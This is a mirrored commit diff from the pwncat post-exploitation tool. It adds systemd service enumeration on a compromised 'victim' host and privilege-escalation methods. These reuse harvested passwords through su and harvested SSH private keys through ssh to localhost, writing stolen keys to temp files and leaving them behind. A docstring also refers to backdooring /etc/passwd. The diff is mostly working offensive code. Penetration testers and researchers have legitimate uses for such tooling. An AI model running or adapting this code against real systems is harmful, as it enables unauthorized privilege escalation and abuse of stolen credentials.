mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 10:54:14 +01:00
Added systemd enumeration, and privesc methods to utilize enumerated keys and passwords
This commit is contained in:
parent
04cc435107
commit
d0e0179fda
@ -8,7 +8,7 @@ import pwncat
|
||||
from pwncat import util
|
||||
|
||||
name = "pwncat.enumerate.private_key"
|
||||
provides = "private_key"
|
||||
provides = "system.user.private_key"
|
||||
per_user = True
|
||||
|
||||
|
||||
|
@ -37,7 +37,6 @@ def enumerate() -> Generator[FactData, None, None]:
|
||||
try:
|
||||
with pwncat.victim.open("/proc/1/comm", "r") as filp:
|
||||
comm = filp.read().strip()
|
||||
print("what the fuck", comm)
|
||||
if comm is not None:
|
||||
if "systemd" in comm.lower():
|
||||
init = util.Init.SYSTEMD
|
||||
|
103
pwncat/enumerate/system/systemd.py
Normal file
103
pwncat/enumerate/system/systemd.py
Normal file
@ -0,0 +1,103 @@
|
||||
#!/usr/bin/env python3
|
||||
import dataclasses
|
||||
from typing import Generator, List, Tuple, Optional
|
||||
|
||||
from colorama import Fore
|
||||
|
||||
import pwncat
|
||||
from pwncat import util
|
||||
from pwncat.enumerate import FactData
|
||||
|
||||
name = "pwncat.enumerate.system"
|
||||
provides = "system.service"
|
||||
per_user = False
|
||||
|
||||
|
||||
@dataclasses.dataclass
|
||||
class ServiceData(FactData):
|
||||
|
||||
name: str
|
||||
""" The name of the service as given on the remote host """
|
||||
uid: int
|
||||
""" The user this service is running as """
|
||||
state: str
|
||||
""" Whether the service is running """
|
||||
pid: int
|
||||
|
||||
def __str__(self):
|
||||
if self.uid == 0:
|
||||
color = Fore.RED
|
||||
else:
|
||||
color = Fore.GREEN
|
||||
|
||||
line = f"Service {Fore.CYAN}{self.name}{Fore.RESET} as {color}{pwncat.victim.find_user_by_id(self.uid).name}{Fore.RESET}"
|
||||
if self.state == "running":
|
||||
color = Fore.GREEN
|
||||
elif self.state == "dead":
|
||||
color = Fore.YELLOW
|
||||
else:
|
||||
color = Fore.BLUE
|
||||
line += f" ({color}{self.state}{Fore.RESET})"
|
||||
return line
|
||||
|
||||
|
||||
def enumerate() -> Generator[FactData, None, None]:
|
||||
"""
|
||||
Enumerate the services provided by systemd
|
||||
:return:
|
||||
"""
|
||||
|
||||
try:
|
||||
# Look for a enumerator providing the init type
|
||||
iter = pwncat.victim.enumerate.iter("system.init")
|
||||
fact = next(iter)
|
||||
# Make sure to close the iterator
|
||||
iter.close()
|
||||
except StopIteration:
|
||||
# We couldn't determine the init type
|
||||
return
|
||||
|
||||
# We want systemd
|
||||
if fact.data.init != util.Init.SYSTEMD:
|
||||
return
|
||||
|
||||
# Request the list of services
|
||||
# For the generic call, we grab the name, PID, user, and state
|
||||
# of each process. If some part of pwncat needs more, it can
|
||||
# request it specifically.
|
||||
data = pwncat.victim.env(
|
||||
[
|
||||
"systemctl",
|
||||
"show",
|
||||
"--type=service",
|
||||
"--no-pager",
|
||||
"--all",
|
||||
"--value",
|
||||
"--property",
|
||||
"Id",
|
||||
"--property",
|
||||
"MainPID",
|
||||
"--property",
|
||||
"UID",
|
||||
"--property",
|
||||
"SubState",
|
||||
"*",
|
||||
],
|
||||
PAGER="",
|
||||
)
|
||||
data = data.strip().decode("utf-8").split("\n")
|
||||
|
||||
for i in range(0, len(data), 5):
|
||||
if i >= (len(data) - 4):
|
||||
print(data[i:])
|
||||
break
|
||||
print(data[i : i + 4])
|
||||
name = data[i + 2].strip().rstrip(".service")
|
||||
pid = int(data[i].strip())
|
||||
if "[not set]" in data[i + 1]:
|
||||
uid = 0
|
||||
else:
|
||||
uid = int(data[i + 1].strip())
|
||||
state = data[i + 3].strip()
|
||||
|
||||
yield ServiceData(name, uid, state, pid)
|
@ -285,7 +285,15 @@ class Finder:
|
||||
methods. Primarily, it will directly execute any techniques which provide
|
||||
the SHELL capability first. Afterwards, it will try to backdoor /etc/passwd
|
||||
if the target user is root. Lastly, it will try to escalate using a local
|
||||
SSH server combined with READ/WRITE capabilities to gain a local shell. """
|
||||
SSH server combined with READ/WRITE capabilities to gain a local shell.
|
||||
|
||||
This is, by far, the most disgusting function in all of `pwncat`. I'd like
|
||||
to clean it up, but I'm not sure how to break this up. It's all one continuous
|
||||
line of logic. It's meant to implement all possible privilege escalation methods
|
||||
for one user given a list of techniques for that user. The largest chunk of this
|
||||
is the SSH part, which needs to check that SSH exists, then try various methods
|
||||
to either leak or write private keys for the given user.
|
||||
"""
|
||||
|
||||
readers: List[Technique] = []
|
||||
writers: List[Technique] = []
|
||||
|
6
pwncat/privesc/facts/__init__.py
Normal file
6
pwncat/privesc/facts/__init__.py
Normal file
@ -0,0 +1,6 @@
|
||||
"""
|
||||
This package contains privilege escalation methods based on enumeration facts.
|
||||
|
||||
This could be passwords that the enumeration module found, or private keys or
|
||||
anything else of use.
|
||||
"""
|
51
pwncat/privesc/facts/password.py
Normal file
51
pwncat/privesc/facts/password.py
Normal file
@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
|
||||
from pwncat import util
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.privesc import BaseMethod, PrivescError, Technique
|
||||
import pwncat
|
||||
|
||||
|
||||
class Method(BaseMethod):
|
||||
|
||||
name = "enumerated-passwords"
|
||||
BINARIES = ["su"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
"""
|
||||
Enumerate capabilities for this method.
|
||||
|
||||
:param capability: the requested capabilities
|
||||
:return: a list of techniques implemented by this method
|
||||
"""
|
||||
|
||||
# We only provide shell capability
|
||||
if Capability.SHELL not in capability:
|
||||
return []
|
||||
|
||||
techniques = []
|
||||
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
|
||||
util.progress(f"enumerating password facts: {str(fact.data)}")
|
||||
techniques.append(
|
||||
Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
||||
)
|
||||
util.erase_progress()
|
||||
|
||||
return techniques
|
||||
|
||||
def execute(self, technique: Technique) -> bytes:
|
||||
"""
|
||||
Escalate to the new user and return a string used to exit the shell
|
||||
|
||||
:param technique: the technique to user (generated by enumerate)
|
||||
:return: an exit command
|
||||
"""
|
||||
|
||||
# Escalate
|
||||
try:
|
||||
pwncat.victim.su(technique.user, technique.ident.password)
|
||||
except PermissionError as exc:
|
||||
raise PrivescError(str(exc))
|
||||
|
||||
return "exit\n"
|
83
pwncat/privesc/facts/private_keys.py
Normal file
83
pwncat/privesc/facts/private_keys.py
Normal file
@ -0,0 +1,83 @@
|
||||
#!/usr/bin/env python3
|
||||
from typing import List
|
||||
|
||||
from pwncat import util
|
||||
from pwncat.gtfobins import Capability
|
||||
from pwncat.privesc import BaseMethod, PrivescError, Technique
|
||||
import pwncat
|
||||
from pwncat.util import Access
|
||||
|
||||
|
||||
class Method(BaseMethod):
|
||||
|
||||
name = "enumerated-private-key"
|
||||
BINARIES = ["ssh"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
"""
|
||||
Enumerate capabilities for this method.
|
||||
|
||||
:param capability: the requested capabilities
|
||||
:return: a list of techniques implemented by this method
|
||||
"""
|
||||
|
||||
for fact in pwncat.victim.enumerate.iter("system.service"):
|
||||
if "ssh" in fact.data.name and fact.data.running:
|
||||
break
|
||||
else:
|
||||
raise PrivescError("no sshd service running")
|
||||
|
||||
# We only provide shell capability
|
||||
if Capability.SHELL not in capability:
|
||||
return []
|
||||
|
||||
techniques = []
|
||||
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
|
||||
util.progress(f"enumerating private key facts: {str(fact.data)}")
|
||||
techniques.append(
|
||||
Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
||||
)
|
||||
|
||||
return techniques
|
||||
|
||||
def execute(self, technique: Technique) -> bytes:
|
||||
"""
|
||||
Escalate to the new user and return a string used to exit the shell
|
||||
|
||||
:param technique: the technique to user (generated by enumerate)
|
||||
:return: an exit command
|
||||
"""
|
||||
|
||||
# Check if we have access to the remote file
|
||||
access = pwncat.victim.access(technique.ident.path)
|
||||
if Access.READ in access:
|
||||
privkey_path = technique.ident.path
|
||||
else:
|
||||
content = technique.ident.content.replace("\r\n", "\n").rstrip("\n") + "\n"
|
||||
with pwncat.victim.tempfile("w", length=len(content)) as filp:
|
||||
filp.write(content)
|
||||
privkey_path = filp.name
|
||||
pwncat.victim.env(["chmod", "600", privkey_path])
|
||||
pwncat.victim.tamper.created_file(privkey_path)
|
||||
|
||||
try:
|
||||
ssh_command = [
|
||||
"ssh",
|
||||
"-i",
|
||||
privkey_path,
|
||||
"-o",
|
||||
"StrictHostKeyChecking=no",
|
||||
"-o",
|
||||
"PasswordAuthentication=no",
|
||||
f"{technique.user}@127.0.0.1",
|
||||
]
|
||||
|
||||
# Attempt to SSH as this user
|
||||
pwncat.victim.env(ssh_command, wait=False)
|
||||
finally:
|
||||
# Cleanup the private key
|
||||
# if privkey_path != technique.ident.path:
|
||||
# pwncat.victim.env(["rm", "-f", privkey_path])
|
||||
pass
|
||||
|
||||
return "exit\n"
|
Loading…
Reference in New Issue
Block a user